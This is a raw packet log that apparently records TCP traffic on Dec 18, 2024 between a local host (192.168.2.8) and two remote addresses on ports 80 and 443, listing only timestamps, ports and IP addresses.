Dec 18, 2024 09:07:21.728921890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.729475021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.729509115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.729526997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.729545116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.729551077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.729583979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.730218887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.730267048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.730268002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.730304003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.730314016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.730346918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731404066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731437922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731456041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731471062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731493950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731540918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731857061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731890917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731904030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731926918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.731933117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.731976032 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.732745886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.732779026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.732794046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.732812881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.732825994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.732853889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.733478069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.733526945 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.733572960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.733607054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.733654976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.734446049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.734613895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.734648943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.734662056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.734689951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.735430002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.735465050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.735498905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.735518932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.735547066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.736046076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.736143112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.736177921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.736188889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.736957073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.737008095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.737026930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.737060070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.737075090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.737102985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.737804890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.737962961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.737998009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.738013029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.738905907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.738939047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.738957882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.738972902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.738979101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.739578962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.739630938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.773329020 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:21.773714066 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:21.774840117 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:21.774868011 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:21.775285006 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:21.776535988 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:21.776664972 CET	49716	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:21.776731014 CET	443	49716	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:21.900563002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900605917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900641918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900755882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.900803089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.900815964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900851965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900892019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.900907993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.900966883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.901581049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.901633024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.901698112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.901734114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.901746035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.901774883 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.902460098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.902513027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.902565002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.902599096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.902615070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.902645111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.903348923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.903398037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.903403044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.903436899 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.903454065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.903477907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.904196024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.904243946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.904311895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.904345989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.904360056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.904392958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.905128002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.905163050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.905178070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.905198097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.905206919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.905240059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.905955076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.906076908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.906111002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.906138897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.906163931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.906826019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907021999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907057047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907078981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.907113075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.907747984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907782078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907815933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.907834053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.907870054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.908688068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.908720970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.908755064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.908776999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.908802986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.909461975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.909516096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.909549952 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.909576893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.909586906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.910412073 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.910446882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.910481930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.910499096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.911339998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.911374092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.911408901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.911411047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.911418915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.911459923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.912287951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.912321091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.912337065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.912357092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.912362099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.912405014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.912998915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913032055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913067102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913091898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.913106918 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.913779974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913886070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913918972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.913938999 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.913959980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.914756060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.914925098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.914958954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.914977074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.915002108 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.915534973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.915589094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.915622950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.915652990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.915664911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.916373014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.916538000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.916574955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.916593075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.916618109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.917388916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.917423010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.917459965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.917476892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.917500973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.918117046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.918169022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.918183088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.918217897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.918231964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.918261051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.919079065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.919112921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.919131994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.919147968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.919152975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.919193983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.920169115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.920223951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.920233011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.920258999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.920294046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.920312881 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.920347929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.921214104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.921248913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.921264887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.921284914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.921329021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.922082901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922116995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922151089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922175884 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.922197104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.922848940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922884941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922900915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.922919035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.922924995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.922961950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.923624992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.923675060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.923746109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.923780918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.923826933 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.924470901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.924566031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.924599886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.924623013 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.924643040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.925374985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.925481081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.925515890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.925555944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.925568104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.926249981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.926301956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.926337004 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.926352978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.926376104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.927109957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.927156925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.927164078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.927197933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.927242994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.927970886 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928024054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928057909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928069115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.928097963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.928845882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928925037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928958893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.928972960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.928996086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.929740906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.929795980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.929830074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.929847002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.929872036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.930583954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.930630922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.092089891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092143059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092183113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092314959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.092314959 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.092369080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092405081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092459917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.092567921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.093099117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.093394995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.093446970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.093470097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.093489885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.093540907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.094237089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.094386101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.094420910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.094433069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.094464064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.094994068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.095149994 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.095185995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.095201969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.095846891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.095897913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.095969915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.096005917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.096019030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.096051931 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.096715927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.096750975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.096765995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.096786976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.096802950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.096833944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.097448111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.097513914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.097553968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.097589016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.097640991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.098536968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.098571062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.098607063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.098620892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.098654985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.099227905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.099368095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.099405050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.099420071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.100110054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.100142956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.100161076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.100178957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.100183010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.101088047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101121902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101136923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.101159096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101210117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.101800919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101923943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101958036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.101972103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.102061033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.102889061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.102924109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.102960110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.102982044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.103617907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.103652954 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.103668928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.103688002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.103701115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.104445934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.104490042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.104504108 CET	80	49714	31.41.244.11	192.168.2.8
